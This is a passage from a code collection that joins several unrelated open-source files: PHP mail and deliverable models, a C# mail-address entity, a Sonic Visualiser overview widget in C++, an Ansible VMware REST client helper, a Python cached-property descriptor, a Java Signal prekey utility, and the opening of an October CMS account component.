->where('deleted', '=', 0)
->where('folder_id', '=', $folderId)
->where('thread_id', '=', $this->thread_id)
->where('message_id', '=', $this->message_id)
->where('account_id', '=', $this->account_id)
->execute()
->fetchObject();
if ($existingMessage && $existingMessage->id) {
return true;
}
$data = $this->getData();
unset($data['id']);
$data['synced'] = 0;
$data['deleted'] = 0;
$data['unique_id'] = null;
$data['message_no'] = null;
$data['seen'] = $this->seen;
$data['folder_id'] = $folderId;
$data['flagged'] = $this->flagged;
$newMessageId = $this->db()
->insert(array_keys($data))
->into('messages')
->values(array_values($data))
->execute();
if (! $newMessageId) {
throw new DatabaseInsertException(
"Failed copying message {$this->id} to Folder #{$folderId}"
);
}
$data['id'] = $newMessageId;
return new self($data);
}
/**
* @throws NotFoundException
*/
public function delete()
{
if (! $this->exists()) {
throw new NotFoundException;
}
$deleted = $this->db()
->delete()
->table('messages')
->where('id', '=', $this->id)
->execute();
return is_numeric($deleted) ? $deleted : false;
}
/**
* @throws NotFoundException
*
* @return bool
*/
public function softDelete(bool $purge = false)
{
if (! $this->exists()) {
throw new NotFoundException;
}
$updates = ['deleted' => 1];
if (true === $purge) {
$updates['purge'] = 1;
}
$updated = $this->db()
->update($updates)
->table('messages')
->where('id', '=', $this->id)
->execute();
return is_numeric($updated) ? $updated : false;
}
/**
* Hard removes any message from the specified folder that is
* missing a unique_id. These messages were copied by the client
* and not synced yet.
*
* @throws ValidationException
*
* @return bool
*/
public function deleteCopiesFrom(int $folderId)
{
if (! $this->exists() || ! $this->message_id) {
throw new ValidationException(
'Message needs to be loaded before copies are deleted'
);
}
$deleted = $this->db()
->delete()
->from('messages')
->whereNull('unique_id')
->where('folder_id', '=', $folderId)
->where('thread_id', '=', $this->thread_id)
->where('message_id', '=', $this->message_id)
->where('account_id', '=', $this->account_id)
->execute();
return is_numeric($deleted); // To catch 0s
}
/**
* Soft removes a message created by this application (usually
* a draft) and any outbox message if there is one attached.
*
* @throws ValidationException
* @throws NotFoundException
*
* @return bool
*/
public function deleteCreatedMessage()
{
if (! $this->exists()) {
throw new ValidationException(
'Message needs to be loaded before it can be deleted'
);
}
if ($this->outbox_id) {
// Throws NotFoundException
return (new Outbox)->getById($this->outbox_id, true)->softDelete()
&& $this->softDelete(true);
}
// Throws NotFoundException
return $this->softDelete(true);
}
}
| mikegioia/libremail | webmail/src/Model/Message.php | PHP | gpl-3.0 | 41,059 |
<?php
class Deliverable
{
/**
* @var
*/
protected $_did;
/**
* @var
*/
protected $_dName;
/**
* @var
*/
protected $_startDate;
/**
* @var
*/
protected $_endDate;
/**
* @var
*/
protected $_sid;
/**
* Deliverable constructor.
*
* @param $did
*/
public function __construct($did)
{
$this->_did = $did;
$this->extractDeliverableInfo();
}
/**
* Extracts deliverable information
*/
private function extractDeliverableInfo()
{
$pdo = Registry::getConnection();
$query = $pdo->prepare("SELECT * FROM Deliverables WHERE did=:did LIMIT 1");
$query->bindValue("did", $this->_did);
$query->execute();
$deliverable = $query->fetch();
// $this->_cid = $deliverable['cid'];
$this->_dName = $deliverable['dName'];
$this->_startDate = $deliverable['startDate'];
$this->_endDate = $deliverable['endDate'];
$this->_sid = $deliverable['sid'];
}
/**
* @return int returns the semester id
*/
public function getSemesterId()
{
return $this->_sid;
}
/**
* @return int returns the deliverable id
*/
public function getDid()
{
return $this->_did;
}
/**
* @return string returns deliverable name
*/
public function getDName()
{
return $this->_dName;
}
/**
* @return mixed returns the start date deliverable
*/
public function getStartDate()
{
return $this->_startDate;
}
/**
* @return mixed returns the end date of the deliverable
*/
public function getEndDate()
{
return $this->_endDate;
}
/**
* @return bool returns true if the deliverable is open; i.e. users can still upload files to it
*/
public function isOpen()
{
return strtotime(date("Y-m-d H:i:s")) <= strtotime($this->getEndDate());
}
} | COMP353-S16/crsmgr | includes/classes/Deliverable.php | PHP | gpl-3.0 | 2,039 |
using System;
using System.ComponentModel.DataAnnotations;
using System.ComponentModel.DataAnnotations.Schema;
using Crystalbyte.Paranoia.Data.SQLite;
namespace Crystalbyte.Paranoia.Data {
[Table("mail_address")]
internal class MailAddress {
[Key]
[Column("id")]
public Int64 Id { get; set; }
[Index]
[Column("name")]
[Collate(CollatingSequence.NoCase)]
public string Name { get; set; }
[Index]
[Column("mail_address")]
[Collate(CollatingSequence.NoCase)]
public string Address { get; set; }
[Index]
[Column("message_id")]
public Int64 MessageId { get; set; }
[Index]
[Column("role")]
public AddressRole Role { get; set; }
[ForeignKey("MessageId")]
public MailMessage Message { get; set; }
}
}
| crystalbyte/paranoia | src/Crystalbyte.Paranoia/Data/MailAddress.cs | C# | gpl-3.0 | 873 |
/* -*- c-basic-offset: 4 indent-tabs-mode: nil -*- vi:set ts=8 sts=4 sw=4: */
/*
Sonic Visualiser
An audio file viewer and annotation editor.
Centre for Digital Music, Queen Mary, University of London.
This file copyright 2006 Chris Cannam and QMUL.
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License as
published by the Free Software Foundation; either version 2 of the
License, or (at your option) any later version. See the file
COPYING included with this distribution for more information.
*/
#include "Overview.h"
#include "layer/Layer.h"
#include "data/model/Model.h"
#include "base/ZoomConstraint.h"
#include <QPaintEvent>
#include <QPainter>
#include <QPainterPath>
#include <iostream>
//#define DEBUG_OVERVIEW 1
Overview::Overview(QWidget *w) :
View(w, false),
m_clickedInRange(false),
m_dragCentreFrame(0)
{
setObjectName(tr("Overview"));
m_followPan = false;
m_followZoom = false;
setPlaybackFollow(PlaybackIgnore);
m_modelTestTime.start();
}
void
Overview::modelChangedWithin(sv_frame_t startFrame, sv_frame_t endFrame)
{
bool zoomChanged = false;
sv_frame_t frameCount = getModelsEndFrame() - getModelsStartFrame();
int zoomLevel = int(frameCount / width());
if (zoomLevel < 1) zoomLevel = 1;
zoomLevel = getZoomConstraintBlockSize(zoomLevel,
ZoomConstraint::RoundUp);
if (zoomLevel != m_zoomLevel) {
zoomChanged = true;
}
if (!zoomChanged) {
if (m_modelTestTime.elapsed() < 1000) {
for (LayerList::const_iterator i = m_layerStack.begin();
i != m_layerStack.end(); ++i) {
if ((*i)->getModel() &&
(!(*i)->getModel()->isOK() ||
!(*i)->getModel()->isReady())) {
return;
}
}
} else {
m_modelTestTime.restart();
}
}
View::modelChangedWithin(startFrame, endFrame);
}
void
Overview::modelReplaced()
{
m_playPointerFrame = getAlignedPlaybackFrame();
View::modelReplaced();
}
void
Overview::registerView(View *view)
{
m_views.insert(view);
update();
}
void
Overview::unregisterView(View *view)
{
m_views.erase(view);
update();
}
void
Overview::globalCentreFrameChanged(sv_frame_t
#ifdef DEBUG_OVERVIEW
f
#endif
)
{
#ifdef DEBUG_OVERVIEW
cerr << "Overview::globalCentreFrameChanged: " << f << endl;
#endif
update();
}
void
Overview::viewCentreFrameChanged(View *v, sv_frame_t
#ifdef DEBUG_OVERVIEW
f
#endif
)
{
#ifdef DEBUG_OVERVIEW
cerr << "Overview[" << this << "]::viewCentreFrameChanged(" << v << "): " << f << endl;
#endif
if (m_views.find(v) != m_views.end()) {
update();
}
}
void
Overview::viewZoomLevelChanged(View *v, int, bool)
{
if (v == this) return;
if (m_views.find(v) != m_views.end()) {
update();
}
}
void
Overview::viewManagerPlaybackFrameChanged(sv_frame_t f)
{
#ifdef DEBUG_OVERVIEW
cerr << "Overview[" << this << "]::viewManagerPlaybackFrameChanged(" << f << "): " << f << endl;
#endif
bool changed = false;
f = getAlignedPlaybackFrame();
if (getXForFrame(m_playPointerFrame) != getXForFrame(f)) changed = true;
m_playPointerFrame = f;
if (changed) update();
}
QColor
Overview::getFillWithin() const
{
return Qt::transparent;
}
QColor
Overview::getFillWithout() const
{
QColor c = palette().window().color();
c.setAlpha(100);
return c;
}
void
Overview::paintEvent(QPaintEvent *e)
{
// Recalculate zoom in case the size of the widget has changed.
#ifdef DEBUG_OVERVIEW
cerr << "Overview::paintEvent: width is " << width() << ", centre frame " << m_centreFrame << endl;
#endif
sv_frame_t startFrame = getModelsStartFrame();
sv_frame_t frameCount = getModelsEndFrame() - getModelsStartFrame();
int zoomLevel = int(frameCount / width());
if (zoomLevel < 1) zoomLevel = 1;
zoomLevel = getZoomConstraintBlockSize(zoomLevel,
ZoomConstraint::RoundUp);
if (zoomLevel != m_zoomLevel) {
m_zoomLevel = zoomLevel;
emit zoomLevelChanged(m_zoomLevel, m_followZoom);
}
sv_frame_t centreFrame = startFrame + m_zoomLevel * (width() / 2);
if (centreFrame > (startFrame + getModelsEndFrame())/2) {
centreFrame = (startFrame + getModelsEndFrame())/2;
}
if (centreFrame != m_centreFrame) {
#ifdef DEBUG_OVERVIEW
cerr << "Overview::paintEvent: Centre frame changed from "
<< m_centreFrame << " to " << centreFrame << " and thus start frame from " << getStartFrame();
#endif
m_centreFrame = centreFrame;
#ifdef DEBUG_OVERVIEW
cerr << " to " << getStartFrame() << endl;
#endif
emit centreFrameChanged(m_centreFrame, false, PlaybackIgnore);
}
View::paintEvent(e);
QPainter paint;
paint.begin(this);
paint.setClipRegion(e->region());
paint.setRenderHints(QPainter::Antialiasing);
QRect r(rect());
// We paint a rounded rect for each distinct set of view extents,
// and we colour in the inside and outside of the rect that
// corresponds to the current view. (One small caveat -- we don't
// know which rect that is yet. We'll have to figure it out
// somehow...)
std::set<std::pair<int, int> > extents;
std::vector<QRect> rects;
QRect primary;
int y = 0;
for (ViewSet::iterator i = m_views.begin(); i != m_views.end(); ++i) {
if (!*i) continue;
View *w = (View *)*i;
sv_frame_t f0 = w->getFrameForX(0);
sv_frame_t f1 = w->getFrameForX(w->width());
if (f0 >= 0) {
sv_frame_t rf0 = w->alignToReference(f0);
f0 = alignFromReference(rf0);
}
if (f1 >= 0) {
sv_frame_t rf1 = w->alignToReference(f1);
f1 = alignFromReference(rf1);
}
int x0 = getXForFrame(f0);
int x1 = getXForFrame(f1);
if (x1 <= x0) x1 = x0 + 1;
std::pair<int, int> extent(x0, x1);
if (extents.find(extent) == extents.end()) {
y += height() / 10 + 1;
extents.insert(extent);
QRect vr(x0, y, x1 - x0, height() - 2 * y);
rects.push_back(vr);
primary = vr; //!!! for now
}
}
QPainterPath without;
without.addRoundedRect(primary, 4, 4);
without.addRect(rect());
paint.setPen(Qt::NoPen);
paint.setBrush(getFillWithout());
paint.drawPath(without);
paint.setBrush(getFillWithin());
paint.drawRoundedRect(primary, 4, 4);
foreach (QRect vr, rects) {
paint.setBrush(Qt::NoBrush);
paint.setPen(QPen(Qt::gray, 2));
paint.drawRoundedRect(vr, 4, 4);
}
paint.end();
}
void
Overview::mousePressEvent(QMouseEvent *e)
{
m_clickPos = e->pos();
sv_frame_t clickFrame = getFrameForX(m_clickPos.x());
if (clickFrame > 0) m_dragCentreFrame = clickFrame;
else m_dragCentreFrame = 0;
m_clickedInRange = true;
for (ViewSet::iterator i = m_views.begin(); i != m_views.end(); ++i) {
if (*i && (*i)->getAligningModel() == getAligningModel()) {
m_dragCentreFrame = (*i)->getCentreFrame();
break;
}
}
}
void
Overview::mouseReleaseEvent(QMouseEvent *e)
{
if (m_clickedInRange) {
mouseMoveEvent(e);
}
m_clickedInRange = false;
}
void
Overview::mouseMoveEvent(QMouseEvent *e)
{
if (!m_clickedInRange) return;
int xoff = int(e->x()) - int(m_clickPos.x());
sv_frame_t frameOff = xoff * m_zoomLevel;
sv_frame_t newCentreFrame = m_dragCentreFrame;
if (frameOff > 0) {
newCentreFrame += frameOff;
} else if (newCentreFrame >= -frameOff) {
newCentreFrame += frameOff;
} else {
newCentreFrame = 0;
}
if (newCentreFrame >= getModelsEndFrame()) {
newCentreFrame = getModelsEndFrame();
if (newCentreFrame > 0) --newCentreFrame;
}
if (std::max(m_centreFrame, newCentreFrame) -
std::min(m_centreFrame, newCentreFrame) > m_zoomLevel) {
sv_frame_t rf = alignToReference(newCentreFrame);
#ifdef DEBUG_OVERVIEW
cerr << "Overview::mouseMoveEvent: x " << e->x() << " and click x " << m_clickPos.x() << " -> frame " << newCentreFrame << " -> rf " << rf << endl;
#endif
if (m_followPlay == PlaybackScrollContinuous ||
m_followPlay == PlaybackScrollPageWithCentre) {
emit centreFrameChanged(rf, true, PlaybackScrollContinuous);
} else {
emit centreFrameChanged(rf, true, PlaybackIgnore);
}
}
}
void
Overview::mouseDoubleClickEvent(QMouseEvent *e)
{
sv_frame_t frame = getFrameForX(e->x());
sv_frame_t rf = 0;
if (frame > 0) rf = alignToReference(frame);
#ifdef DEBUG_OVERVIEW
cerr << "Overview::mouseDoubleClickEvent: frame " << frame << " -> rf " << rf << endl;
#endif
m_clickedInRange = false; // we're not starting a drag with the second click
emit centreFrameChanged(rf, true, PlaybackScrollContinuous);
}
void
Overview::enterEvent(QEvent *)
{
emit contextHelpChanged(tr("Click and drag to navigate; double-click to jump"));
}
void
Overview::leaveEvent(QEvent *)
{
emit contextHelpChanged("");
}
| praaline/Praaline | svgui/view/Overview.cpp | C++ | gpl-3.0 | 9,287 |
# -*- coding: utf-8 -*-
# Copyright: (c) 2018, Ansible Project
# Copyright: (c) 2018, Abhijeet Kasurde <akasurde@redhat.com>
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
from __future__ import absolute_import, division, print_function
__metaclass__ = type
import traceback
REQUESTS_IMP_ERR = None
try:
import requests
HAS_REQUESTS = True
except ImportError:
REQUESTS_IMP_ERR = traceback.format_exc()
HAS_REQUESTS = False
PYVMOMI_IMP_ERR = None
try:
from pyVim import connect
from pyVmomi import vim, vmodl
HAS_PYVMOMI = True
except ImportError:
PYVMOMI_IMP_ERR = traceback.format_exc()
HAS_PYVMOMI = False
VSPHERE_IMP_ERR = None
try:
from com.vmware.vapi.std_client import DynamicID
from vmware.vapi.vsphere.client import create_vsphere_client
from com.vmware.vapi.std.errors_client import Unauthorized
from com.vmware.content.library_client import Item
from com.vmware.vcenter_client import (Folder,
Datacenter,
ResourcePool,
Datastore,
Cluster,
Host)
HAS_VSPHERE = True
except ImportError:
VSPHERE_IMP_ERR = traceback.format_exc()
HAS_VSPHERE = False
from ansible.module_utils.basic import env_fallback, missing_required_lib
class VmwareRestClient(object):
def __init__(self, module):
"""
Constructor
"""
self.module = module
self.params = module.params
self.check_required_library()
self.api_client = self.connect_to_vsphere_client()
# Helper function
def get_error_message(self, error):
"""
Helper function to show human readable error messages.
"""
err_msg = []
if not error.messages:
if isinstance(error, Unauthorized):
return "Authorization required."
return "Generic error occurred."
for err in error.messages:
err_msg.append(err.default_message % err.args)
return " ,".join(err_msg)
def check_required_library(self):
"""
Check required libraries
"""
if not HAS_REQUESTS:
self.module.fail_json(msg=missing_required_lib('requests'),
exception=REQUESTS_IMP_ERR)
if not HAS_PYVMOMI:
self.module.fail_json(msg=missing_required_lib('PyVmomi'),
exception=PYVMOMI_IMP_ERR)
if not HAS_VSPHERE:
self.module.fail_json(
msg=missing_required_lib('vSphere Automation SDK',
url='https://code.vmware.com/web/sdk/65/vsphere-automation-python'),
exception=VSPHERE_IMP_ERR)
@staticmethod
def vmware_client_argument_spec():
return dict(
hostname=dict(type='str',
fallback=(env_fallback, ['VMWARE_HOST'])),
username=dict(type='str',
fallback=(env_fallback, ['VMWARE_USER']),
aliases=['user', 'admin']),
password=dict(type='str',
fallback=(env_fallback, ['VMWARE_PASSWORD']),
aliases=['pass', 'pwd'],
no_log=True),
protocol=dict(type='str',
default='https',
choices=['https', 'http']),
validate_certs=dict(type='bool',
fallback=(env_fallback, ['VMWARE_VALIDATE_CERTS']),
default=True),
)
def connect_to_vsphere_client(self):
"""
Connect to vSphere API Client with Username and Password
"""
username = self.params.get('username')
password = self.params.get('password')
hostname = self.params.get('hostname')
session = requests.Session()
session.verify = self.params.get('validate_certs')
if not all([hostname, username, password]):
self.module.fail_json(msg="Missing one of the following : hostname, username, password."
" Please read the documentation for more information.")
client = create_vsphere_client(
server=hostname,
username=username,
password=password,
session=session)
if client is None:
self.module.fail_json(msg="Failed to login to %s" % hostname)
return client
def get_tags_for_object(self, tag_service=None, tag_assoc_svc=None, dobj=None):
"""
Return list of tag objects associated with an object
Args:
dobj: Dynamic object
tag_service: Tag service object
tag_assoc_svc: Tag Association object
Returns: List of tag objects associated with the given object
"""
# This method returns list of tag objects only,
# Please use get_tags_for_dynamic_obj for more object details
tags = []
if not dobj:
return tags
if not tag_service:
tag_service = self.api_client.tagging.Tag
if not tag_assoc_svc:
tag_assoc_svc = self.api_client.tagging.TagAssociation
tag_ids = tag_assoc_svc.list_attached_tags(dobj)
for tag_id in tag_ids:
tags.append(tag_service.get(tag_id))
return tags
def get_tags_for_dynamic_obj(self, mid=None, type=None):
"""
Return list of tag object details associated with object
Args:
mid: Dynamic object for specified object
type: Type of DynamicID to lookup
Returns: List of tag object details associated with the given object
"""
tags = []
if mid is None:
return tags
dynamic_managed_object = DynamicID(type=type, id=mid)
temp_tags_model = self.get_tags_for_object(dobj=dynamic_managed_object)
category_service = self.api_client.tagging.Category
for tag_obj in temp_tags_model:
tags.append({
'id': tag_obj.id,
'category_name': category_service.get(tag_obj.category_id).name,
'name': tag_obj.name,
'description': tag_obj.description,
'category_id': tag_obj.category_id,
})
return tags
def get_tags_for_cluster(self, cluster_mid=None):
"""
Return list of tag object associated with cluster
Args:
cluster_mid: Dynamic object for cluster
Returns: List of tag object associated with the given cluster
"""
return self.get_tags_for_dynamic_obj(mid=cluster_mid, type='ClusterComputeResource')
def get_tags_for_hostsystem(self, hostsystem_mid=None):
"""
Return list of tag object associated with host system
Args:
hostsystem_mid: Dynamic object for host system
Returns: List of tag object associated with the given host system
"""
return self.get_tags_for_dynamic_obj(mid=hostsystem_mid, type='HostSystem')
def get_tags_for_vm(self, vm_mid=None):
"""
Return list of tag object associated with virtual machine
Args:
vm_mid: Dynamic object for virtual machine
Returns: List of tag object associated with the given virtual machine
"""
return self.get_tags_for_dynamic_obj(mid=vm_mid, type='VirtualMachine')
def get_vm_tags(self, tag_service=None, tag_association_svc=None, vm_mid=None):
"""
Return list of tag name associated with virtual machine
Args:
tag_service: Tag service object
tag_association_svc: Tag association object
vm_mid: Dynamic object for virtual machine
Returns: List of tag names associated with the given virtual machine
"""
# This API returns just names of tags
# Please use get_tags_for_vm for more tag object details
tags = []
if vm_mid is None:
return tags
dynamic_managed_object = DynamicID(type='VirtualMachine', id=vm_mid)
temp_tags_model = self.get_tags_for_object(tag_service, tag_association_svc, dynamic_managed_object)
for tag_obj in temp_tags_model:
tags.append(tag_obj.name)
return tags
def get_library_item_by_name(self, name):
"""
Returns the identifier of the library item with the given name.
Args:
name (str): The name of item to look for
Returns:
str: The item ID or None if the item is not found
"""
find_spec = Item.FindSpec(name=name)
item_ids = self.api_client.content.library.Item.find(find_spec)
item_id = item_ids[0] if item_ids else None
return item_id
def get_datacenter_by_name(self, datacenter_name):
"""
Returns the identifier of a datacenter
Note: The method assumes only one datacenter with the mentioned name.
"""
filter_spec = Datacenter.FilterSpec(names=set([datacenter_name]))
datacenter_summaries = self.api_client.vcenter.Datacenter.list(filter_spec)
datacenter = datacenter_summaries[0].datacenter if len(datacenter_summaries) > 0 else None
return datacenter
def get_folder_by_name(self, datacenter_name, folder_name):
"""
Returns the identifier of a folder
with the mentioned names.
"""
datacenter = self.get_datacenter_by_name(datacenter_name)
if not datacenter:
return None
filter_spec = Folder.FilterSpec(type=Folder.Type.VIRTUAL_MACHINE,
names=set([folder_name]),
datacenters=set([datacenter]))
folder_summaries = self.api_client.vcenter.Folder.list(filter_spec)
folder = folder_summaries[0].folder if len(folder_summaries) > 0 else None
return folder
def get_resource_pool_by_name(self, datacenter_name, resourcepool_name):
"""
Returns the identifier of a resource pool
with the mentioned names.
"""
datacenter = self.get_datacenter_by_name(datacenter_name)
if not datacenter:
return None
names = set([resourcepool_name]) if resourcepool_name else None
filter_spec = ResourcePool.FilterSpec(datacenters=set([datacenter]),
names=names)
resource_pool_summaries = self.api_client.vcenter.ResourcePool.list(filter_spec)
resource_pool = resource_pool_summaries[0].resource_pool if len(resource_pool_summaries) > 0 else None
return resource_pool
def get_datastore_by_name(self, datacenter_name, datastore_name):
"""
Returns the identifier of a datastore
with the mentioned names.
"""
datacenter = self.get_datacenter_by_name(datacenter_name)
if not datacenter:
return None
names = set([datastore_name]) if datastore_name else None
filter_spec = Datastore.FilterSpec(datacenters=set([datacenter]),
names=names)
datastore_summaries = self.api_client.vcenter.Datastore.list(filter_spec)
datastore = datastore_summaries[0].datastore if len(datastore_summaries) > 0 else None
return datastore
def get_cluster_by_name(self, datacenter_name, cluster_name):
"""
Returns the identifier of a cluster
with the mentioned names.
"""
datacenter = self.get_datacenter_by_name(datacenter_name)
if not datacenter:
return None
names = set([cluster_name]) if cluster_name else None
filter_spec = Cluster.FilterSpec(datacenters=set([datacenter]),
names=names)
cluster_summaries = self.api_client.vcenter.Cluster.list(filter_spec)
cluster = cluster_summaries[0].cluster if len(cluster_summaries) > 0 else None
return cluster
def get_host_by_name(self, datacenter_name, host_name):
"""
Returns the identifier of a Host
with the mentioned names.
"""
datacenter = self.get_datacenter_by_name(datacenter_name)
if not datacenter:
return None
names = set([host_name]) if host_name else None
filter_spec = Host.FilterSpec(datacenters=set([datacenter]),
names=names)
host_summaries = self.api_client.vcenter.Host.list(filter_spec)
host = host_summaries[0].host if len(host_summaries) > 0 else None
return host
@staticmethod
def search_svc_object_by_name(service, svc_obj_name=None):
"""
Return service object by name
Args:
service: Service object
svc_obj_name: Name of service object to find
Returns: Service object if found else None
"""
if not svc_obj_name:
return None
for svc_object in service.list():
svc_obj = service.get(svc_object)
if svc_obj.name == svc_obj_name:
return svc_obj
return None
| 2ndQuadrant/ansible | lib/ansible/module_utils/vmware_rest_client.py | Python | gpl-3.0 | 13,483 |
# NOTE: this should inherit from (object) to function correctly with python 2.7
class CachedProperty(object):
""" A property that is only computed once per instance and
then stores the result in _cached_properties of the object.
Source: https://github.com/bottlepy/bottle/commit/fa7733e075da0d790d809aa3d2f53071897e6f76
"""
def __init__(self, func):
self.__doc__ = getattr(func, '__doc__')
self.func = func
def __get__(self, obj, cls):
if obj is None:
return self
propname = self.func.__name__
if not hasattr(obj, '_cached_properties'):
obj._cached_properties = {}
if propname not in obj._cached_properties:
obj._cached_properties[propname] = self.func(obj)
# value = obj.__dict__[propname] = self.func(obj)
return obj._cached_properties[propname]
@staticmethod
def clear(obj):
"""clears cache of obj"""
if hasattr(obj, '_cached_properties'):
obj._cached_properties = {}
@staticmethod
def is_cached(obj, propname):
if hasattr(obj, '_cached_properties') and propname in obj._cached_properties:
return True
else:
return False | psy0rz/zfs_autobackup | zfs_autobackup/CachedProperty.py | Python | gpl-3.0 | 1,252 |
/**
* Copyright (C) 2013 Open Whisper Systems
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package org.whispersystems.whisperpush.crypto;
import android.content.Context;
import android.util.Log;
import com.fasterxml.jackson.annotation.JsonProperty;
import org.whispersystems.libaxolotl.IdentityKeyPair;
import org.whispersystems.libaxolotl.InvalidKeyException;
import org.whispersystems.libaxolotl.InvalidKeyIdException;
import org.whispersystems.libaxolotl.state.PreKeyRecord;
import org.whispersystems.libaxolotl.state.PreKeyStore;
import org.whispersystems.libaxolotl.state.SignedPreKeyRecord;
import org.whispersystems.libaxolotl.state.SignedPreKeyStore;
import org.whispersystems.libaxolotl.util.KeyHelper;
import org.whispersystems.libaxolotl.util.Medium;
import org.whispersystems.whisperpush.database.WPPreKeyStore;
import org.whispersystems.whisperpush.util.JsonUtils;
import org.whispersystems.whisperpush.util.Util;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.FilenameFilter;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.List;
public class PreKeyUtil {
public static final int BATCH_SIZE = 100;
public static List<PreKeyRecord> generatePreKeys(Context context, MasterSecret masterSecret) {
PreKeyStore preKeyStore = new WPPreKeyStore(context, masterSecret);
int startId = getNextPreKeyId(context);
List<PreKeyRecord> records = KeyHelper.generatePreKeys(startId, BATCH_SIZE);
int id = 0;
for (PreKeyRecord key : records) {
id = key.getId();
preKeyStore.storePreKey(id, key);
}
setNextPreKeyId(context, (id + 1) % Medium.MAX_VALUE);
return records;
}
public static List<PreKeyRecord> getPreKeys(Context context, MasterSecret masterSecret) {
WPPreKeyStore preKeyStore = new WPPreKeyStore(context, masterSecret);
return preKeyStore.loadPreKeys();
}
public static SignedPreKeyRecord generateSignedPreKey(Context context, MasterSecret masterSecret,
IdentityKeyPair identityKeyPair)
{
try {
SignedPreKeyStore signedPreKeyStore = new WPPreKeyStore(context, masterSecret);
int signedPreKeyId = getNextSignedPreKeyId(context);
SignedPreKeyRecord record = KeyHelper.generateSignedPreKey(identityKeyPair, signedPreKeyId);
signedPreKeyStore.storeSignedPreKey(signedPreKeyId, record);
setNextSignedPreKeyId(context, (signedPreKeyId + 1) % Medium.MAX_VALUE);
return record;
} catch (InvalidKeyException e) {
throw new AssertionError(e);
}
}
public static PreKeyRecord generateLastResortKey(Context context, MasterSecret masterSecret) {
PreKeyStore preKeyStore = new WPPreKeyStore(context, masterSecret);
if (preKeyStore.containsPreKey(Medium.MAX_VALUE)) {
try {
return preKeyStore.loadPreKey(Medium.MAX_VALUE);
} catch (InvalidKeyIdException e) {
Log.w("PreKeyUtil", e);
preKeyStore.removePreKey(Medium.MAX_VALUE);
}
}
PreKeyRecord record = KeyHelper.generateLastResortPreKey();
preKeyStore.storePreKey(Medium.MAX_VALUE, record);
return record;
}
private static void setNextPreKeyId(Context context, int id) {
try {
File nextFile = new File(getPreKeysDirectory(context), PreKeyIndex.FILE_NAME);
FileOutputStream fout = new FileOutputStream(nextFile);
fout.write(JsonUtils.toJson(new PreKeyIndex(id)).getBytes());
fout.close();
} catch (IOException e) {
Log.w("PreKeyUtil", e);
}
}
private static void setNextSignedPreKeyId(Context context, int id) {
try {
File nextFile = new File(getSignedPreKeysDirectory(context), SignedPreKeyIndex.FILE_NAME);
FileOutputStream fout = new FileOutputStream(nextFile);
fout.write(JsonUtils.toJson(new SignedPreKeyIndex(id)).getBytes());
fout.close();
} catch (IOException e) {
Log.w("PreKeyUtil", e);
}
}
private static int getNextPreKeyId(Context context) {
try {
File nextFile = new File(getPreKeysDirectory(context), PreKeyIndex.FILE_NAME);
if (!nextFile.exists()) {
return Util.getSecureRandom().nextInt(Medium.MAX_VALUE);
} else {
InputStreamReader reader = new InputStreamReader(new FileInputStream(nextFile));
PreKeyIndex index = JsonUtils.fromJson(reader, PreKeyIndex.class);
reader.close();
return index.nextPreKeyId;
}
} catch (IOException e) {
Log.w("PreKeyUtil", e);
return Util.getSecureRandom().nextInt(Medium.MAX_VALUE);
}
}
private static int getNextSignedPreKeyId(Context context) {
try {
File nextFile = new File(getSignedPreKeysDirectory(context), SignedPreKeyIndex.FILE_NAME);
if (!nextFile.exists()) {
return Util.getSecureRandom().nextInt(Medium.MAX_VALUE);
} else {
InputStreamReader reader = new InputStreamReader(new FileInputStream(nextFile));
SignedPreKeyIndex index = JsonUtils.fromJson(reader, SignedPreKeyIndex.class);
reader.close();
return index.nextSignedPreKeyId;
}
} catch (IOException e) {
Log.w("PreKeyUtil", e);
return Util.getSecureRandom().nextInt(Medium.MAX_VALUE);
}
}
private static File getPreKeysDirectory(Context context) {
return getKeysDirectory(context, WPPreKeyStore.PREKEY_DIRECTORY);
}
private static File getSignedPreKeysDirectory(Context context) {
return getKeysDirectory(context, WPPreKeyStore.SIGNED_PREKEY_DIRECTORY);
}
private static File getKeysDirectory(Context context, String name) {
File directory = new File(context.getFilesDir(), name);
if (!directory.exists())
directory.mkdirs();
return directory;
}
public static final String INDEX_FILE = "index.dat";
public static FilenameFilter INDEX_FILTER = new FilenameFilter() {
@Override
public boolean accept(File dir, String filename) {
return !INDEX_FILE.equals(filename);
}
};
private static class PreKeyIndex {
public static final String FILE_NAME = INDEX_FILE;
@JsonProperty
private int nextPreKeyId;
public PreKeyIndex() {}
public PreKeyIndex(int nextPreKeyId) {
this.nextPreKeyId = nextPreKeyId;
}
}
private static class SignedPreKeyIndex {
public static final String FILE_NAME = INDEX_FILE;
@JsonProperty
private int nextSignedPreKeyId;
public SignedPreKeyIndex() {}
public SignedPreKeyIndex(int nextSignedPreKeyId) {
this.nextSignedPreKeyId = nextSignedPreKeyId;
}
}
} | CyanogenMod/android_external_whispersystems_libwhisperpush | src/org/whispersystems/whisperpush/crypto/PreKeyUtil.java | Java | gpl-3.0 | 7,320 |
<?php namespace CnesMeteo\User\Components;
use CnesMeteo\Localization\Models\Country;
use CnesMeteo\Localization\Models\Province;
use CnesMeteo\Localization\Models\State;
use CnesMeteo\User\Models\Group;
use CnesMeteo\User\Models\Organization;
use CnesMeteo\User\Models\Classroom;
use CnesMeteo\User\Models\Site;
use CnesMeteoAuth;
use Mail;
use Flash;
use Input;
use Redirect;
use Validator;
use Request;
use Exception;
use Log;
use Backend\Models\AccessLog;
use Cms\Classes\Page;
use System\Classes\ApplicationException;
use October\Rain\Support\ValidationException;
use RainLab\User\Models\Settings as UserSettings;
class Account extends \RainLab\User\Components\Account
{
protected $organizations = [];
protected $classrooms = [];
protected $countries = [];
protected $states = [];
protected $provinces = [];
protected $organization_types = [];
public function componentDetails()
{
return [
'name' => 'CnesMeteo - Account',
'description' => 'User management form.'
];
}
public function defineProperties()
{
return [
'redirect' => [
'title' => 'Redirect to',
'description' => 'Page name to redirect to after update, sign in or registration.',
